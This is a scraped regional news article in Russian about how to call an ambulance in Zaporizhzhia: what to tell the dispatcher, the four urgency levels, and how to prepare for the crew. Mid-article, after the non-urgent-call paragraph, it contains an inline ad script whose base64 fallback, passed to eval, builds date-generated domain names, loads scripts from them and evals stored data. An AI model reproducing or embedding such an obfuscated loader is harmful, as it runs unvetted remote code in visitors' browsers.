Алгоритм вызова скорой помощи детально описали на официальной странице Запорожского областного центра экстренной медицинской помощи и медицины катастроф, сообщает «Акцент».
Если по вашему мнению вы или человек рядом нуждается в экстренной медицинской помощи, нужно позвонить по номеру 103.
Например, человек травмировался, потерял сознание, впал в кому, находится в тяжелом состоянии из-за заболевания COVID-19, внезапно почувствовал боль в области сердца, начались расстройства дыхания или другое неотложное состояние.
Что делать
Во время разговора необходимо предоставить достоверную и подробную информацию о состоянии человека: описать, что произошло, если вы были свидетелем происшествия, состояние пострадавшего, жалобы. Например, человек получил травмирование из-за падения с высоты, есть признаки перелома, кровотечения или отсутствует дыхание и т.д.
Предоставить информацию о человеке, который находится в неотложном состоянии: назвать фамилию, имя и отчество, а также возраст – если известно, если нет – пол и примерный возраст. Назвать имя и номер, с которого звоните.
Ответить при необходимости на дополнительные вопросы от диспетчера скорой. Не пытайтесь описать ситуацию хуже, чем она есть или скрыть детали диспетчера. Диспетчер экстренной помощи квалифицирует обращение по категории критичности и принимает решение о направлении бригады скорой помощи.
Существует четыре уровня критичности: непрофильное, неэкстренное, экстренное и критическое.
Непрофильное обращение – это, например, когда у человека высокая температура и он даже не принимал жаропонижающее лекарство. Или когда человеку нужно сделать инъекцию, измерить давление. При непрофильном обращении диспетчер рекомендует человеку обратиться к семейному врачу, а также может предоставить консультацию по поводу помощи.
Неэкстренное обращение – это обращение, которое требует оценки состояния человека врачом, однако не является неотложным. Например, человек травмировался, однако может самостоятельно добраться до больницы для диагностики и получения помощи. В таком случае диспетчер, в зависимости от ситуации, рекомендует обратиться к семейному врачу или ближайшей больнице с травмпунктом и предоставляет ее адрес. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Если человек находится в неотложном состоянии, сопровождающемся нарушением сознания, признаками кровотечения, острым коронарным синдромом, острым мозговым инсультом, расстройствами дыхания и т.д., диспетчер квалифицирует этот вызов как экстренный и направляет к пациенту бригаду, которая должна прибыть в течение 20 минут.
Если у человека неэффективное или отсутствует дыхание, массивная кровопотеря или кровотечение или другие признаки критического состояния, этот вызов квалифицируется как критический. К человеку направляется бригада скорой, которая должна прибыть в течение 10 минут. Обратите внимание, что на срок прибытия влияет дорожная ситуация (пробки, гололедица, другие сезонные и метеорологические особенности) и эпидемиологическая ситуация.
Если диспетчер направляет скорую к пациенту, укажите точный адрес: район, населенный пункт, улицу, номер дома, подъезда, квартиры, этаж, код домофона и как подъехать – с улицы, со двора, назвать известные ориентиры и т.д. Если точный адрес неизвестен, необходимо подробно описать, как добраться до пострадавшего.
Во время ожидания бригады подготовьтесь к приезду врачей: следуйте рекомендациям диспетчера о помощи человеку.
Если в помещении есть животные, закройте их в отдельной комнате. Откройте дверь и освободите доступ к пострадавшему, если есть возможность. Подготовьте документы – паспорт и медицинские документы и вещи человека, которые требуются при госпитализации. Если нет паспорта – документ, заменяющий его.
Если есть возможность – встретьте скорую на улице, чтобы бригада не тратила время на поиск квартиры.
На месте бригада скорой помощи предоставит экстренную помощь и примет решение о дальнейших действиях: если необходимо, госпитализирует пострадавшего в ближайшую больницу, имеющую договор с НСЗУ на соответствующий пакет медицинской помощи.
Подписывайтесь на Акцент в 
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/sushhestvuet-chetyre-urovnya-kritichnosti-zaporozhtsam-napomnili-pravila-vyzova-skoroj-pomoshhi/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
